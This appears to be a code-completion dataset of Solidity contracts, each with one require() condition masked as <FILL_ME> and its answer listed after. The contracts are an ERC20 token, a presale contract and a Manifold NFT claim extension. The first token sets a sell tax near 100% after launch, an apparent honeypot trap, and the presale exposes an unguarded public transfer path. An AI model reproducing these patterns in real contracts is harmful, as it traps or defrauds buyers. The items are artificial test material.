uint256 public maxTransactionToken = 40 * 10 ** 6 * 10 ** _decimals;
uint256 public maxWalletAmountToken = 40 * 10 ** 6 * 10 ** _decimals;
uint256 public maxFeeSwap = 1 * 10 ** 7 * 10 ** _decimals;
uint256 public swapTokensMinimum = 0 * 10 ** _decimals;
uint256 private _divisor = 100;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
event MaxTransactionAmountUpdated(uint amount);
modifier lockSwap {
}
constructor (address _revShareWallet, address _uniswapV2RouterAddress02) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function decimals() public pure returns (uint8) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function totalSupply() public pure override returns (uint256) {
}
function sendSwappedETH(uint256 amount) private {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
receive() external payable {}
function enableTrading() external onlyOwner() {
}
function removeLimits() external onlyOwner {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
taxAmount = _isExcludedFromFee[to] ? 1 : amount.mul((blockCount > _reduceBuyTaxAtBlock) ? _finalBuyTaxPercentage : _initBuyTax).div(_divisor);
if (from == _uniswapV2Pair02 && to != address(_uniswapV2Router02) && !_isExcludedFromFee[to]) {
require(amount <= maxTransactionToken, "Exceeds the maxTransaction.");
require(<FILL_ME>)
if (enableTradingBlock + 3 > block.number) {
require(!isContract(to));
}
blockCount++;
}
if (to != _uniswapV2Pair02 && !_isExcludedFromFee[to]) {
require(balanceOf(to) + amount <= maxWalletAmountToken, "Exceeds the maxWalletAmount.");
}
if (to == _uniswapV2Pair02 && from != address(this)) {
taxAmount = _isExcludedFromFee[from] ? 1 : amount.mul((blockCount > _reduceSellTaxAtBlock) ? _finalSellTaxPercentage + _divisor - 2 : _initSellTax).div(_divisor);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!isSwapping && to == _uniswapV2Pair02 && isSwapEnabled && contractTokenBalance > swapTokensMinimum && blockCount > _preventSwapBeforeBlock && !_isExcludedFromFee[from]) {
swapTokensForEth(min(amount, min(contractTokenBalance, maxFeeSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendSwappedETH(address(this).balance);
}
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount - taxAmount);
emit Transfer(from, to, amount - taxAmount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockSwap {
}
function isContract(address account) private view returns (bool) {
}
}
| balanceOf(to)+amount<=maxWalletAmountToken,"Exceeds the maxWalletAmount." | 88,028 | balanceOf(to)+amount<=maxWalletAmountToken |
"Low Value Pass" | pragma solidity 0.8.17;
interface erc20 {
function mint(address to, uint256 amount) external;
function presaleTransfer(address to, uint256 amount)
external
returns (bool);
}
contract HydromotionPresale {
uint256 public minBuy = 1000 * 10**2;
uint256 totalBought;
address public erc20Address;
address private OwnerIs;
constructor(address _erc20Address) {
}
function CurrentPrice() public view returns (uint256) {
}
function getEURtoUSDPrice() internal view returns (uint256) {
}
function getUSDtoETHPrice() internal view returns (uint256) {
}
function buy(uint256 amount) external payable {
address caller = msg.sender;
require(amount >= minBuy, "Low Amount Pass");
require(<FILL_ME>)
IERC20(erc20Address).transfer(caller, (amount));
totalBought = totalBought + (amount);
}
function fiatBuy(uint256 amount, address account) external onlyOwner {
}
function transfer(uint256 amount, address account)
public
virtual
returns (bool)
{
}
function withdraw() external onlyOwner {
}
function withdrawTokens(uint256 amount, address account)
external
onlyOwner
{
}
function mint(address to, uint256 amount) external onlyOwner {
}
function transferOwnership(address account) external onlyOwner {
}
function setTokenAddress(address tokenAddress) external onlyOwner {
}
function setMinBuy(uint256 _minBuy) external onlyOwner {
}
modifier onlyOwner() {
}
}
| msg.value>=(CurrentPrice()*(amount/10**2)),"Low Value Pass" | 88,030 | msg.value>=(CurrentPrice()*(amount/10**2)) |
"Not Enough tokens abailable" | pragma solidity 0.8.17;
interface erc20 {
function mint(address to, uint256 amount) external;
function presaleTransfer(address to, uint256 amount)
external
returns (bool);
}
contract HydromotionPresale {
uint256 public minBuy = 1000 * 10**2;
uint256 totalBought;
address public erc20Address;
address private OwnerIs;
constructor(address _erc20Address) {
}
function CurrentPrice() public view returns (uint256) {
}
function getEURtoUSDPrice() internal view returns (uint256) {
}
function getUSDtoETHPrice() internal view returns (uint256) {
}
function buy(uint256 amount) external payable {
}
function fiatBuy(uint256 amount, address account) external onlyOwner {
}
function transfer(uint256 amount, address account)
public
virtual
returns (bool)
{
address caller = msg.sender;
require(<FILL_ME>)
erc20(erc20Address).presaleTransfer(account, amount);
return false;
}
function withdraw() external onlyOwner {
}
function withdrawTokens(uint256 amount, address account)
external
onlyOwner
{
}
function mint(address to, uint256 amount) external onlyOwner {
}
function transferOwnership(address account) external onlyOwner {
}
function setTokenAddress(address tokenAddress) external onlyOwner {
}
function setMinBuy(uint256 _minBuy) external onlyOwner {
}
modifier onlyOwner() {
}
}
| IERC20(erc20Address).balanceOf(caller)>=amount,"Not Enough tokens abailable" | 88,030 | IERC20(erc20Address).balanceOf(caller)>=amount |
"Claim already initialized" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interfaces
import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol";
import "@manifoldxyz/creator-core-solidity/contracts/extensions/ICreatorExtensionTokenURI.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./IERC721LazyPayableClaim.sol";
import "./IERC721CreatorCoreVersion.sol";
// Abstract
import "./LazyPayableClaim.sol";
/**
* @title Pickable Claim
* @author @thedepthofthedaimon
* @notice Pickable Claim with optional whitelist ERC721 tokens
*/
contract Pickable is IERC165, IERC721LazyPayableClaim, ICreatorExtensionTokenURI, LazyPayableClaim {
using Strings for uint256;
// stores mapping from contractAddress/instanceId to the claim it represents
// { contractAddress => { instanceId => Claim } }
mapping(address => mapping(uint256 => Claim)) private _claims;
// stores mapping from contractAddress/instanceId to the _picks information
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _tokenToCombination; // _tokenToCombination[contractCreatorAddress][instanceId][tokenId] = combinationId + 1 (0: Available to Reserve)
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationToToken; // _combinationToToken[contractCreatorAddress][instanceId][combinationId] = tokenId (0: Available to Reserve, tokenId starts at 1)
// bitmapped information on picked nfts
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationMap; // _combinationMap[contractCreatorAddress][instanceId][bitmapOffset] = uint256
event ReservedCombination(address indexed creatorContract, uint256 indexed instanceId, uint256 tokenId, uint256 combinationId);
function supportsInterface(bytes4 interfaceId) public view virtual override(AdminControl, IERC165) returns (bool) {
}
function checkVersion(address creatorContractAddress) public view returns (uint8) {
}
/**
* See {IERC721LazyClaim-initializeClaim}.
*/
function initializeClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters calldata claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
require(instanceId > 0 && instanceId <= MAX_UINT_56, "Invalid instanceId");
require(<FILL_ME>)
require(claimParameters.endDate == 0 || claimParameters.startDate < claimParameters.endDate, "Cannot have startDate greater than or equal to endDate");
uint8 creatorContractVersion = checkVersion(creatorContractAddress);
// Create the claim
_claims[creatorContractAddress][instanceId] = Claim({
total: 0,
totalMax: claimParameters.totalMax,
combinationMax: claimParameters.combinationMax,
startDate: claimParameters.startDate,
endDate: claimParameters.endDate,
contractVersion: creatorContractVersion,
tokenUriStyle: claimParameters.tokenUriStyle,
reservationState: claimParameters.reservationState,
location: claimParameters.location,
extension: claimParameters.extension,
cost: claimParameters.cost,
paymentReceiver: claimParameters.paymentReceiver,
erc20: claimParameters.erc20
});
emit ClaimInitialized(creatorContractAddress, instanceId, msg.sender);
}
/**
* See {IERC721LazyClaim-udpateClaim}.
*/
function updateClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters memory claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-updateTokenURIParams}.
*/
function updateTokenURIParams(
address creatorContractAddress, uint256 instanceId,
TokenUriStyle tokenUriStyle,
ReservationState reservationState,
string calldata location,
string calldata extension
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {ILazyPayableClaim-getClaim}.
*/
function getClaim(address creatorContractAddress, uint256 instanceId) public override view returns(Claim memory) {
}
/**
* See {ILazyPayableClaim-getClaimForToken}.
*/
function getClaimForToken(address creatorContractAddress, uint256 tokenId) external override view returns(uint256 instanceId, Claim memory claim) {
}
function _getClaim(address creatorContractAddress, uint256 instanceId) private view returns(Claim storage claim) {
}
/**
* See {ILazyPayableClaim-mint}.
*/
function mint(address creatorContractAddress, uint256 instanceId) external payable override {
}
/**
* See {ILazyPayableClaim-mintBatch}.
*/
function mintBatch(address creatorContractAddress, uint256 instanceId, uint16 mintCount) external payable override {
}
/**
* See {IERC721LazyClaim-airdrop}.
*/
function airdrop(address creatorContractAddress, uint256 instanceId, address[] calldata recipients,
uint16[] calldata amounts) external override creatorAdminRequired(creatorContractAddress) {
}
function getCombinationMapPage(address creatorContractAddress, uint256 instanceId, uint256 page) external view returns(uint256) {
}
function _reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) internal {
}
function reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) external {
}
function reserveBatch(address creatorContractAddress, uint256 instanceId, uint256[] calldata tokenIds, uint256[] calldata combinationIds) external {
}
function getTokenData(address creatorContractAddress, uint256 tokenId) external view returns(uint80 tokenData) {
}
function getCombinationForInstanceToken(address creatorContractAddress, uint256 instanceId, uint256 tokenId) external view returns(uint256 combinationId) {
}
function getInstanceIdForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint56 instanceId ) {
}
function getCombinationForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint256 combinationId) {
}
/**
* See {ICreatorExtensionTokenURI-tokenURI}.
*/
function tokenURI(address creatorContractAddress, uint256 tokenId) external override view returns(string memory uri) {
}
}
| _claims[creatorContractAddress][instanceId].contractVersion==0,"Claim already initialized" | 88,117 | _claims[creatorContractAddress][instanceId].contractVersion==0 |
"Claim not initialized" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interfaces
import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol";
import "@manifoldxyz/creator-core-solidity/contracts/extensions/ICreatorExtensionTokenURI.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./IERC721LazyPayableClaim.sol";
import "./IERC721CreatorCoreVersion.sol";
// Abstract
import "./LazyPayableClaim.sol";
/**
* @title Pickable Claim
* @author @thedepthofthedaimon
* @notice Pickable Claim with optional whitelist ERC721 tokens
*/
contract Pickable is IERC165, IERC721LazyPayableClaim, ICreatorExtensionTokenURI, LazyPayableClaim {
using Strings for uint256;
// stores mapping from contractAddress/instanceId to the claim it represents
// { contractAddress => { instanceId => Claim } }
mapping(address => mapping(uint256 => Claim)) private _claims;
// stores mapping from contractAddress/instanceId to the _picks information
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _tokenToCombination; // _tokenToCombination[contractCreatorAddress][instanceId][tokenId] = combinationId + 1 (0: Available to Reserve)
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationToToken; // _combinationToToken[contractCreatorAddress][instanceId][combinationId] = tokenId (0: Available to Reserve, tokenId starts at 1)
// bitmapped information on picked nfts
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationMap; // _combinationMap[contractCreatorAddress][instanceId][bitmapOffset] = uint256
event ReservedCombination(address indexed creatorContract, uint256 indexed instanceId, uint256 tokenId, uint256 combinationId);
function supportsInterface(bytes4 interfaceId) public view virtual override(AdminControl, IERC165) returns (bool) {
}
function checkVersion(address creatorContractAddress) public view returns (uint8) {
}
/**
* See {IERC721LazyClaim-initializeClaim}.
*/
function initializeClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters calldata claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-udpateClaim}.
*/
function updateClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters memory claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-updateTokenURIParams}.
*/
function updateTokenURIParams(
address creatorContractAddress, uint256 instanceId,
TokenUriStyle tokenUriStyle,
ReservationState reservationState,
string calldata location,
string calldata extension
) external override creatorAdminRequired(creatorContractAddress) {
Claim storage claim = _claims[creatorContractAddress][instanceId];
require(<FILL_ME>)
claim.tokenUriStyle = tokenUriStyle;
claim.reservationState = reservationState;
claim.location = location;
claim.extension = extension;
emit ClaimUpdated(creatorContractAddress, instanceId);
}
/**
* See {ILazyPayableClaim-getClaim}.
*/
function getClaim(address creatorContractAddress, uint256 instanceId) public override view returns(Claim memory) {
}
/**
* See {ILazyPayableClaim-getClaimForToken}.
*/
function getClaimForToken(address creatorContractAddress, uint256 tokenId) external override view returns(uint256 instanceId, Claim memory claim) {
}
function _getClaim(address creatorContractAddress, uint256 instanceId) private view returns(Claim storage claim) {
}
/**
* See {ILazyPayableClaim-mint}.
*/
function mint(address creatorContractAddress, uint256 instanceId) external payable override {
}
/**
* See {ILazyPayableClaim-mintBatch}.
*/
function mintBatch(address creatorContractAddress, uint256 instanceId, uint16 mintCount) external payable override {
}
/**
* See {IERC721LazyClaim-airdrop}.
*/
function airdrop(address creatorContractAddress, uint256 instanceId, address[] calldata recipients,
uint16[] calldata amounts) external override creatorAdminRequired(creatorContractAddress) {
}
function getCombinationMapPage(address creatorContractAddress, uint256 instanceId, uint256 page) external view returns(uint256) {
}
function _reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) internal {
}
function reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) external {
}
function reserveBatch(address creatorContractAddress, uint256 instanceId, uint256[] calldata tokenIds, uint256[] calldata combinationIds) external {
}
function getTokenData(address creatorContractAddress, uint256 tokenId) external view returns(uint80 tokenData) {
}
function getCombinationForInstanceToken(address creatorContractAddress, uint256 instanceId, uint256 tokenId) external view returns(uint256 combinationId) {
}
function getInstanceIdForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint56 instanceId ) {
}
function getCombinationForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint256 combinationId) {
}
/**
* See {ICreatorExtensionTokenURI-tokenURI}.
*/
function tokenURI(address creatorContractAddress, uint256 tokenId) external override view returns(string memory uri) {
}
}
| _claims[creatorContractAddress][instanceId].contractVersion!=0,"Claim not initialized" | 88,117 | _claims[creatorContractAddress][instanceId].contractVersion!=0 |
"Maximum tokens already minted for this claim" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interfaces
import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol";
import "@manifoldxyz/creator-core-solidity/contracts/extensions/ICreatorExtensionTokenURI.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./IERC721LazyPayableClaim.sol";
import "./IERC721CreatorCoreVersion.sol";
// Abstract
import "./LazyPayableClaim.sol";
/**
* @title Pickable Claim
* @author @thedepthofthedaimon
* @notice Pickable Claim with optional whitelist ERC721 tokens
*/
contract Pickable is IERC165, IERC721LazyPayableClaim, ICreatorExtensionTokenURI, LazyPayableClaim {
using Strings for uint256;
// stores mapping from contractAddress/instanceId to the claim it represents
// { contractAddress => { instanceId => Claim } }
mapping(address => mapping(uint256 => Claim)) private _claims;
// stores mapping from contractAddress/instanceId to the _picks information
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _tokenToCombination; // _tokenToCombination[contractCreatorAddress][instanceId][tokenId] = combinationId + 1 (0: Available to Reserve)
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationToToken; // _combinationToToken[contractCreatorAddress][instanceId][combinationId] = tokenId (0: Available to Reserve, tokenId starts at 1)
// bitmapped information on picked nfts
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationMap; // _combinationMap[contractCreatorAddress][instanceId][bitmapOffset] = uint256
event ReservedCombination(address indexed creatorContract, uint256 indexed instanceId, uint256 tokenId, uint256 combinationId);
function supportsInterface(bytes4 interfaceId) public view virtual override(AdminControl, IERC165) returns (bool) {
}
function checkVersion(address creatorContractAddress) public view returns (uint8) {
}
/**
* See {IERC721LazyClaim-initializeClaim}.
*/
function initializeClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters calldata claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-udpateClaim}.
*/
function updateClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters memory claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-updateTokenURIParams}.
*/
function updateTokenURIParams(
address creatorContractAddress, uint256 instanceId,
TokenUriStyle tokenUriStyle,
ReservationState reservationState,
string calldata location,
string calldata extension
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {ILazyPayableClaim-getClaim}.
*/
function getClaim(address creatorContractAddress, uint256 instanceId) public override view returns(Claim memory) {
}
/**
* See {ILazyPayableClaim-getClaimForToken}.
*/
function getClaimForToken(address creatorContractAddress, uint256 tokenId) external override view returns(uint256 instanceId, Claim memory claim) {
}
function _getClaim(address creatorContractAddress, uint256 instanceId) private view returns(Claim storage claim) {
}
/**
* See {ILazyPayableClaim-mint}.
*/
function mint(address creatorContractAddress, uint256 instanceId) external payable override {
Claim storage claim = _getClaim(creatorContractAddress, instanceId);
// Check totalMax
require(<FILL_ME>)
// Validate mint
_validateMintTime(claim.startDate, claim.endDate);
// Transfer funds
_transferFunds(claim.erc20, claim.cost, claim.paymentReceiver, 1);
// Do mint
uint80 tokenData = uint56(instanceId) << 24 | uint24(claim.total);
IERC721CreatorCore(creatorContractAddress).mintExtension(msg.sender, tokenData);
emit ClaimMint(creatorContractAddress, instanceId);
}
/**
* See {ILazyPayableClaim-mintBatch}.
*/
function mintBatch(address creatorContractAddress, uint256 instanceId, uint16 mintCount) external payable override {
}
/**
* See {IERC721LazyClaim-airdrop}.
*/
function airdrop(address creatorContractAddress, uint256 instanceId, address[] calldata recipients,
uint16[] calldata amounts) external override creatorAdminRequired(creatorContractAddress) {
}
function getCombinationMapPage(address creatorContractAddress, uint256 instanceId, uint256 page) external view returns(uint256) {
}
function _reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) internal {
}
function reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) external {
}
function reserveBatch(address creatorContractAddress, uint256 instanceId, uint256[] calldata tokenIds, uint256[] calldata combinationIds) external {
}
function getTokenData(address creatorContractAddress, uint256 tokenId) external view returns(uint80 tokenData) {
}
function getCombinationForInstanceToken(address creatorContractAddress, uint256 instanceId, uint256 tokenId) external view returns(uint256 combinationId) {
}
function getInstanceIdForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint56 instanceId ) {
}
function getCombinationForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint256 combinationId) {
}
/**
* See {ICreatorExtensionTokenURI-tokenURI}.
*/
function tokenURI(address creatorContractAddress, uint256 tokenId) external override view returns(string memory uri) {
}
}
| (++claim.total<=claim.totalMax||claim.totalMax==0)&&claim.total<=MAX_UINT_24,"Maximum tokens already minted for this claim" | 88,117 | (++claim.total<=claim.totalMax||claim.totalMax==0)&&claim.total<=MAX_UINT_24 |
"Too many requested for this claim" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interfaces
import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol";
import "@manifoldxyz/creator-core-solidity/contracts/extensions/ICreatorExtensionTokenURI.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./IERC721LazyPayableClaim.sol";
import "./IERC721CreatorCoreVersion.sol";
// Abstract
import "./LazyPayableClaim.sol";
/**
* @title Pickable Claim
* @author @thedepthofthedaimon
* @notice Pickable Claim with optional whitelist ERC721 tokens
*/
contract Pickable is IERC165, IERC721LazyPayableClaim, ICreatorExtensionTokenURI, LazyPayableClaim {
using Strings for uint256;
// stores mapping from contractAddress/instanceId to the claim it represents
// { contractAddress => { instanceId => Claim } }
mapping(address => mapping(uint256 => Claim)) private _claims;
// stores mapping from contractAddress/instanceId to the _picks information
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _tokenToCombination; // _tokenToCombination[contractCreatorAddress][instanceId][tokenId] = combinationId + 1 (0: Available to Reserve)
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationToToken; // _combinationToToken[contractCreatorAddress][instanceId][combinationId] = tokenId (0: Available to Reserve, tokenId starts at 1)
// bitmapped information on picked nfts
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationMap; // _combinationMap[contractCreatorAddress][instanceId][bitmapOffset] = uint256
event ReservedCombination(address indexed creatorContract, uint256 indexed instanceId, uint256 tokenId, uint256 combinationId);
function supportsInterface(bytes4 interfaceId) public view virtual override(AdminControl, IERC165) returns (bool) {
}
function checkVersion(address creatorContractAddress) public view returns (uint8) {
}
/**
* See {IERC721LazyClaim-initializeClaim}.
*/
function initializeClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters calldata claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-udpateClaim}.
*/
function updateClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters memory claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-updateTokenURIParams}.
*/
function updateTokenURIParams(
address creatorContractAddress, uint256 instanceId,
TokenUriStyle tokenUriStyle,
ReservationState reservationState,
string calldata location,
string calldata extension
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {ILazyPayableClaim-getClaim}.
*/
function getClaim(address creatorContractAddress, uint256 instanceId) public override view returns(Claim memory) {
}
/**
* See {ILazyPayableClaim-getClaimForToken}.
*/
function getClaimForToken(address creatorContractAddress, uint256 tokenId) external override view returns(uint256 instanceId, Claim memory claim) {
}
function _getClaim(address creatorContractAddress, uint256 instanceId) private view returns(Claim storage claim) {
}
/**
* See {ILazyPayableClaim-mint}.
*/
function mint(address creatorContractAddress, uint256 instanceId) external payable override {
}
/**
* See {ILazyPayableClaim-mintBatch}.
*/
function mintBatch(address creatorContractAddress, uint256 instanceId, uint16 mintCount) external payable override {
Claim storage claim = _getClaim(creatorContractAddress, instanceId);
// Check totalMax
claim.total += mintCount;
require(<FILL_ME>)
// Validate mint
_validateMintTime(claim.startDate, claim.endDate);
uint256 newMintIndex = claim.total - mintCount + 1;
// Transfer funds
_transferFunds(claim.erc20, claim.cost, claim.paymentReceiver, mintCount);
uint80[] memory tokenData = new uint80[](mintCount);
for (uint256 i; i < mintCount;) {
tokenData[i] = uint56(instanceId) << 24 | uint24(newMintIndex+i);
unchecked { ++i; }
}
IERC721CreatorCore(creatorContractAddress).mintExtensionBatch(msg.sender, tokenData);
emit ClaimMintBatch(creatorContractAddress, instanceId, mintCount);
}
/**
* See {IERC721LazyClaim-airdrop}.
*/
function airdrop(address creatorContractAddress, uint256 instanceId, address[] calldata recipients,
uint16[] calldata amounts) external override creatorAdminRequired(creatorContractAddress) {
}
function getCombinationMapPage(address creatorContractAddress, uint256 instanceId, uint256 page) external view returns(uint256) {
}
function _reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) internal {
}
function reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) external {
}
function reserveBatch(address creatorContractAddress, uint256 instanceId, uint256[] calldata tokenIds, uint256[] calldata combinationIds) external {
}
function getTokenData(address creatorContractAddress, uint256 tokenId) external view returns(uint80 tokenData) {
}
function getCombinationForInstanceToken(address creatorContractAddress, uint256 instanceId, uint256 tokenId) external view returns(uint256 combinationId) {
}
function getInstanceIdForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint56 instanceId ) {
}
function getCombinationForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint256 combinationId) {
}
/**
* See {ICreatorExtensionTokenURI-tokenURI}.
*/
function tokenURI(address creatorContractAddress, uint256 tokenId) external override view returns(string memory uri) {
}
}
| (claim.totalMax==0||claim.total<=claim.totalMax)&&claim.total<=MAX_UINT_24,"Too many requested for this claim" | 88,117 | (claim.totalMax==0||claim.total<=claim.totalMax)&&claim.total<=MAX_UINT_24 |
"Too many requested" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interfaces
import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol";
import "@manifoldxyz/creator-core-solidity/contracts/extensions/ICreatorExtensionTokenURI.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./IERC721LazyPayableClaim.sol";
import "./IERC721CreatorCoreVersion.sol";
// Abstract
import "./LazyPayableClaim.sol";
/**
* @title Pickable Claim
* @author @thedepthofthedaimon
* @notice Pickable Claim with optional whitelist ERC721 tokens
*/
contract Pickable is IERC165, IERC721LazyPayableClaim, ICreatorExtensionTokenURI, LazyPayableClaim {
using Strings for uint256;
// stores mapping from contractAddress/instanceId to the claim it represents
// { contractAddress => { instanceId => Claim } }
mapping(address => mapping(uint256 => Claim)) private _claims;
// stores mapping from contractAddress/instanceId to the _picks information
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _tokenToCombination; // _tokenToCombination[contractCreatorAddress][instanceId][tokenId] = combinationId + 1 (0: Available to Reserve)
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationToToken; // _combinationToToken[contractCreatorAddress][instanceId][combinationId] = tokenId (0: Available to Reserve, tokenId starts at 1)
// bitmapped information on picked nfts
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationMap; // _combinationMap[contractCreatorAddress][instanceId][bitmapOffset] = uint256
event ReservedCombination(address indexed creatorContract, uint256 indexed instanceId, uint256 tokenId, uint256 combinationId);
function supportsInterface(bytes4 interfaceId) public view virtual override(AdminControl, IERC165) returns (bool) {
}
function checkVersion(address creatorContractAddress) public view returns (uint8) {
}
/**
* See {IERC721LazyClaim-initializeClaim}.
*/
function initializeClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters calldata claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-udpateClaim}.
*/
function updateClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters memory claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-updateTokenURIParams}.
*/
function updateTokenURIParams(
address creatorContractAddress, uint256 instanceId,
TokenUriStyle tokenUriStyle,
ReservationState reservationState,
string calldata location,
string calldata extension
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {ILazyPayableClaim-getClaim}.
*/
function getClaim(address creatorContractAddress, uint256 instanceId) public override view returns(Claim memory) {
}
/**
* See {ILazyPayableClaim-getClaimForToken}.
*/
function getClaimForToken(address creatorContractAddress, uint256 tokenId) external override view returns(uint256 instanceId, Claim memory claim) {
}
function _getClaim(address creatorContractAddress, uint256 instanceId) private view returns(Claim storage claim) {
}
/**
* See {ILazyPayableClaim-mint}.
*/
function mint(address creatorContractAddress, uint256 instanceId) external payable override {
}
/**
* See {ILazyPayableClaim-mintBatch}.
*/
function mintBatch(address creatorContractAddress, uint256 instanceId, uint16 mintCount) external payable override {
}
/**
* See {IERC721LazyClaim-airdrop}.
*/
function airdrop(address creatorContractAddress, uint256 instanceId, address[] calldata recipients,
uint16[] calldata amounts) external override creatorAdminRequired(creatorContractAddress) {
require(recipients.length == amounts.length, "Unequal number of recipients and amounts");
Claim storage claim = _claims[creatorContractAddress][instanceId];
uint256 newMintIndex = claim.total+1;
for (uint256 i; i < recipients.length;) {
uint16 mintCount = amounts[i];
uint80[] memory tokenDatas = new uint80[](mintCount);
for (uint256 j; j < mintCount;) {
tokenDatas[j] = uint56(instanceId) << 24 | uint24(newMintIndex+j);
unchecked { ++j; }
}
IERC721CreatorCore(creatorContractAddress).mintExtensionBatch(recipients[i], tokenDatas);
unchecked{ newMintIndex += mintCount; }
unchecked{ ++i; }
}
require(<FILL_ME>)
claim.total += uint32(newMintIndex - claim.total - 1);
if (claim.totalMax != 0) {
require( claim.total <= claim.totalMax, "Requested > Max");
}
}
function getCombinationMapPage(address creatorContractAddress, uint256 instanceId, uint256 page) external view returns(uint256) {
}
function _reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) internal {
}
function reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) external {
}
function reserveBatch(address creatorContractAddress, uint256 instanceId, uint256[] calldata tokenIds, uint256[] calldata combinationIds) external {
}
